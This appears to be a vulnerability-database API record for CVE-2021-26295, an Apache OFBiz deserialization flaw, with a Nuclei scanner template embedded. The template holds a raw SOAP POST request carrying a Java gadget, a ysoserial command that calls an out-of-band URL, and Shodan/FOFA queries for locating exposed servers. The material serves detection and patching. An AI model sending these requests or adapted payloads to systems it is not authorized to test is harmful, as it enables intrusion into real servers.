{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-26295/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-26295/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-26295/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-26295/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-26295/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-26295"},"sightings":{"href":"/api/v1/sightings/cve-2021-26295"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-26295.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-26295\n\ninfo:\n  name: Apache OFBiz <17.12.06 - Arbitrary Code Execution\n  author: madrobot\n  severity: critical\n  description: |\n    Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.\n  reference:\n    - https://github.com/yumusb/CVE-2021-26295-POC\n    - https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html\n    - https://github.com/zhzyker/exphub/tree/master/ofbiz\n    - https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E\n    - https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-26295\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-26295\n    cwe-id: CWE-502\n    epss-score: 0.97822\n    epss-percentile: 0.99904\n    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: ofbiz\n    shodan-query:\n      - \"OFBiz.Visitor=\"\n      - http.html:\"ofbiz\"\n      - ofbiz.visitor=\n    fofa-query:\n      - body=\"ofbiz\"\n      - app=\"apache_ofbiz\"\n    ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex\n  tags: cve2021,cve,packetstorm,apache,ofbiz,deserialization,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /webtools/control/SOAPService HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version='1.0' encoding='UTF-8'?>\n        <soapenv:Envelope\n          xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <soapenv:Header/>\n            <soapenv:Body>\n              <ns1:clearAllEntityCaches xmlns:ns1=\"http://ofbiz.apache.org/service/\">\n                  <ns1:cus-obj>{{generate_java_gadget(\"dns\", \"https://{{interactsh-url}}\", \"hex\")}}</ns1:cus-obj>\n              </ns1:clearAllEntityCaches>\n            </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"errorMessage\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"OFBiz.Visitor=\"\n# digest: 4b0a00483046022100b8a1b0823a66845c6467a194ffff44f953369f193864cdb9da5ff74ad58ccac7022100fa9486f206dd47b23514317ac2de2a7008c672e2e316cb03c9cf3a82870373d9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-26295"}